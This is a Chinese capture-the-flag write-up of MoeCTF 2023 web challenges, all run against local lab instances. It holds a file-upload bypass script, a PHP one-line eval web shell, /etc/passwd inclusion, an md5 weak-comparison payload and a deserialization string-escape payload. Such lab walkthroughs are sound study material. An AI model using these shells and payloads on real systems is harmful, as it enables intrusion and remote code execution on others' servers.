少女祈祷中...

[2023 MoeCTF] WEB wp

环境有问题,我开始还能用自己ip访问,后面突然不行了,这导致不能抓取本地的包,没关系照样做(^-^)

http

签到题一

第一眼还没看懂,这应该满足他的条件即可拿到flag

1和2,分别get和post传参,

3.修改Cookie为character为admin

4.添加字段X-Forward-For: 127.0.0.1

5.修改User-Agent内容为MoeBrowser

Web入门指北

签到题二

解密:

666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c513152475831637959 6c396a61474673624756755a3055684958303 

对密码不是很熟悉,但对这里应该只能是md5、base64、16进制

一看只能是16进制

进行16进制解码:flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0

这里面还加了一层base64,

进行解码:moectf{w3lCome_To_moeCTF_W2b_challengE!!}

彼岸的flag

签到题三

查看源代码搜索注释(<!–)就行(藏得靠后…)

Cookie

根据他给出的api进行注册和登录,然后获取flag

提示我们不是admin用户,拿到cookie,

进行base64解码,得到{"username": "yyj", "password": "123456", "role": "user"}

修改为{"username": "admin", "password": "123456", "role": "admin"}

再进行base64编码得到eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICIxMjM0NTYiLCAicm9sZSI6ICJhZG1pbiJ9

替换Cookie中的token值,再访问flag,得到flag

{"error": "ok", "data": {"flag": "moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}"}}

gas!gas!gas!

多看了几眼,根据他给的说明,要正确提交正确的表单,

然后根据规则,编写python脚本,注意一下Cookie(session)问题,开始还没注意到

import requests
from bs4 import BeautifulSoup

#默认post参数
data={
"driver": "yyj",
"steering_control": '0',
"throttle": '2'
}
#url
url='http://localhost:60713'
#默认cookie
cookies={
'session': '.eJxtjdsKAiEURf_lPEuoo8fLr2TINKM0UQ6YJxqif0-GHntZsC_s_YZpLa2ut3hZSgMPgXSWOZDjeghkMKtA1qopUM68E6XrvjYD75Tu3OnkuNMEUsni3hTAYK7LM9W-uW3XLkt6tfh7A3_kTJ4Y1JXKDJ4zeLSxttiWewIv0CktLBp7QMlxsIrB30QJ8_kCkKs6Qw.ZQBNlg.s5GIQKXa8JudrZi3dGeeS_T699Q'
}


#精确爬虫,也可以不搞
def result(res):
html=BeautifulSoup(res,'lxml')
fl=html.body.div.string
if(fl):
print('请求结果:',fl)
else:
print('请求结果:',html.body.div)
return res

def setdata(res,data):
if '向右' in res:
data['steering_control']='-1'
elif '向左' in res:
data['steering_control']='1'
else:
print('其他')
data['steering_control']='0'
if '太小' in res:
data['throttle']='0'
elif '太大' in res:
data['throttle']='2'
else:
print('其他')
data['throttle']='1'
return data

for i in range(20):
print('第'+str(i)+'次')
print('请求数据:',data)
res=requests.post(url=url,data=data,cookies=cookies)
fl=result(res.text)
if(res.cookies):
cookies=requests.utils.dict_from_cookiejar(res.cookies)
data=setdata(fl,data=data)
if 'moectf' in res.text:
break
print()

跑一下就可以出flag

moe图床

经典文件上传处理

首页查看js源码,查看ajex,发现upload.php

进行访问,得到源码

对上传文件检查了文件类型,和文件名,关键$fileNameParts = explode(‘.’, $fileName); 将文件名变为数组后,$secondSegment = $fileNameParts[1];

固定取下标为1

绕过:抓包,修改文件类型为image/png,修改文件名为test.png.php

这里我没抓包,我用的python脚本

import requests
url ='http://localhost:55163/upload.php'
file={
'file':('test.png.php' #文件名
,open("D:/phpstudy_pro/WWW/upload- picture/link.php",'rb')
,'image/png' #文件类型
)

}
res=requests.post(url,files=file)
print(res.text)

上传一句话木马成功!

这里附上一句话木马(不看就好-*-*)

89504E47
<?php echo phpinfo();
@eval($_POST['bb']); ?>

访问验证一下

用蚁剑一连,flag就在根目录

meo图床

文件上传先试下水,上传成功

查看一下图片

看这url,应该是用着文件包含,再试试,尝试包含/etc/passwd

这里只能显示图片,burp抓下包,这里我改成用python脚本(也一样)

ok,成功包含,试下flag

居然是个提示(…….),访问一下Fl3g_n0t_Here_dont_peek!!!!!.php

这里发现是PHP的md5弱比较,不多说了

最终payload

http://localhost:55371/Fl3g_n0t_Here_dont_peek!!!!!.php?param1=s878926199a&param2=s214587387a

夺命十三枪

典型的PHP反序列化中的字符串逃逸题目

访问它包含的文件Hanxin.exe.php ,得到源码,

对两个页面进行代码审计,发现,关键是反序列化后Spear_Owner 属性为MaoLei 就可获得flag

而我们可以通过get传参给Chant 属性赋值,恰巧他对序列化的字符串进行了如下的字符串替换

所以先写出要逃逸的字符串:

";s:11:"Spear_Owner";s:6:"MaoLei";}

然后要逃逸的字符总数为35个,

发现:di_qi_qiang 替换后增加5个字符,di_jiu_qiang 替换后增加20个字符

因此加入di_qi_qiang 3个,di_jiu_qiang个;序列化后替换后会恰好增加35个字符,然后后面的字符就能逃逸出去,进行反序列化到}结束,就此覆盖了他构造函数对Spear_Owner 赋值,拿到flag

最终payload

http://localhost:53192/?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_jiu_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}